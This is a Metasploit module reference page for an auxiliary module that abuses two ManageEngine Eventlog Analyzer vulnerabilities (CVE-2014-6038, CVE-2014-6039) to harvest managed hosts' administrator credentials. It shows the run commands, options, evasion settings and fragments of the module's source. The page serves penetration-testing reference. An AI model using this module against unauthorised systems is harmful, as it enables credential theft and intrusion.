ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure - Metasploit


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Module Overview

Name: ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure
Module: auxiliary/gather/eventlog_cred_disclosure
Source code: modules/auxiliary/gather/eventlog_cred_disclosure.rb
Disclosure date: 2014-11-05
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8400, 8443, 8880, 8888
List of CVEs: CVE-2014-6038, CVE-2014-6039

ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that allow an unauthenticated user to obtain the superuser password of any managed Windows and AS/400 hosts. This module abuses both vulnerabilities to collect all the available usernames and passwords. First the agentHandler servlet is abused to get the hostid and slid of each device (CVE-2014-6038); then these numeric IDs are used to extract usernames and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7, the TARGETURI has to be prepended with /event.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use auxiliary/gather/eventlog_cred_disclosure
msf auxiliary(eventlog_cred_disclosure) > show targets
    ... a list of targets ...
msf auxiliary(eventlog_cred_disclosure) > set TARGET target-id
msf auxiliary(eventlog_cred_disclosure) > show options
    ... show and set options ...
msf auxiliary(eventlog_cred_disclosure) > exploit

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

Here is how the gather/eventlog_cred_disclosure auxiliary module looks in the msfconsole:

msf6 > use auxiliary/gather/eventlog_cred_disclosure

msf6 auxiliary(gather/eventlog_cred_disclosure) > show info

       Name: ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure
     Module: auxiliary/gather/eventlog_cred_disclosure
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2014-11-05

Provided by:
  Pedro Ribeiro <[email protected]>

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      8400             yes       The target port (TCP)
  SSL        false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI  /                yes       Eventlog Analyzer application URI (should be /event for version 7)
  VHOST                       no        HTTP server virtual host

Description:
  ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two 
  security vulnerabilities that allow an unauthenticated user to 
  obtain the superuser password of any managed Windows and AS/400 
  hosts. This module abuses both vulnerabilities to collect all the 
  available usernames and passwords. First the agentHandler servlet is 
  abused to get the hostid and slid of each device (CVE-2014-6038); 
  then these numeric IDs are used to extract usernames and passwords 
  by abusing the hostdetails servlet (CVE-2014-6039). Note that on 
  version 7, the TARGETURI has to be prepended with /event.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2014-6038
  https://nvd.nist.gov/vuln/detail/CVE-2014-6039
  OSVDB (114342)
  OSVDB (114344)
  https://seclists.org/fulldisclosure/2014/Nov/12

Module Options

This is a complete list of options available in the gather/eventlog_cred_disclosure auxiliary module:

msf6 auxiliary(gather/eventlog_cred_disclosure) > show options

Module options (auxiliary/gather/eventlog_cred_disclosure):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8400             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Eventlog Analyzer application URI (should be /event for version 7)
   VHOST                       no        HTTP server virtual host

Advanced Options

Here is a complete list of advanced options supported by the gather/eventlog_cred_disclosure auxiliary module:

msf6 auxiliary(gather/eventlog_cred_disclosure) > show advanced

Module advanced options (auxiliary/gather/eventlog_cred_disclosure):

   Name                  Current Setting                                     Required  Description
   ----                  ---------------                                     --------  -----------
   DOMAIN                WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS         true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   FingerprintCheck      true                                                no        Conduct a pre-exploit fingerprint verification
   HttpClientTimeout                                                         no        HTTP connection and receive timeout
   HttpPassword                                                              no        The HTTP password to specify for authentication
   HttpRawHeaders                                                            no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace             false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors       red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly  false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                              no        The HTTP username to specify for authentication
   SSLVersion            Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent             Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE               false                                               no        Enable detailed status messages
   WORKSPACE                                                                 no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the gather/eventlog_cred_disclosure module can do:

msf6 auxiliary(gather/eventlog_cred_disclosure) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the gather/eventlog_cred_disclosure auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(gather/eventlog_cred_disclosure) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<PEER> - Failed to reach agentHandler servlet

Here is a relevant code snippet related to the "<PEER> - Failed to reach agentHandler servlet" error message:

63:	        'table' => 'HostDetails'
64:	      }
65:	    })
66:	
67:	    unless res && res.code == 200
68:	      fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet")
69:	      return
70:	    end
71:	
72:	    # When passwords have digits the XML parsing will fail.
73:	    # Replace with an empty password attribute so that we know the device has a password

<PEER> - Error parsing the XML, dumping output <XML>

Here is a relevant code snippet related to the "<PEER> - Error parsing the XML, dumping output <XML>" error message:

74:	    # and therefore we want to add it to our host list.
75:	    xml = res.body.to_s.gsub(/&#[0-9]*;/,Rex::Text.rand_text_alpha(6))
76:	    begin
77:	      doc = REXML::Document.new(xml)
78:	    rescue
79:	      fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
80:	    end
81:	
82:	    slid_host_ary = []
83:	    doc.elements.each('Details/HostDetails') do |ele|
84:	      if ele.attributes['password']

<PEER> - Failed to reach hostdetails servlet

Here is a relevant code snippet related to the "<PEER> - Failed to reach hostdetails servlet" error message:

111:	          'hostid' => host[1]
112:	        }
113:	      })
114:	
115:	      unless res && res.code == 200
116:	        fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet")
117:	      end
118:	
119:	      begin
120:	        doc = REXML::Document.new(res.body)
121:	      rescue

<PEER> - Error parsing the XML, dumping output <RES.BODY.TO_S>

Here is a relevant code snippet related to the "<PEER> - Error parsing the XML, dumping output <RES.BODY.TO_S>" error message:

117:	      end
118:	
119:	      begin
120:	        doc = REXML::Document.new(res.body)
121:	      rescue
122:	        fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")
123:	      end
124:	
125:	      doc.elements.each('Details/Hosts') do |ele|
126:	        # Add an empty string if a variable doesn't exist, we have to check it
127:	        # somewhere and it's easier to do it here.

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References

See Also

Check also the following modules related to this module:

Authors

  • Pedro Ribeiro <pedrib[at]gmail.com>

Version

This page has been produced using Metasploit Framework version 6.2.26-dev. For more modules, visit the Metasploit Module Library.

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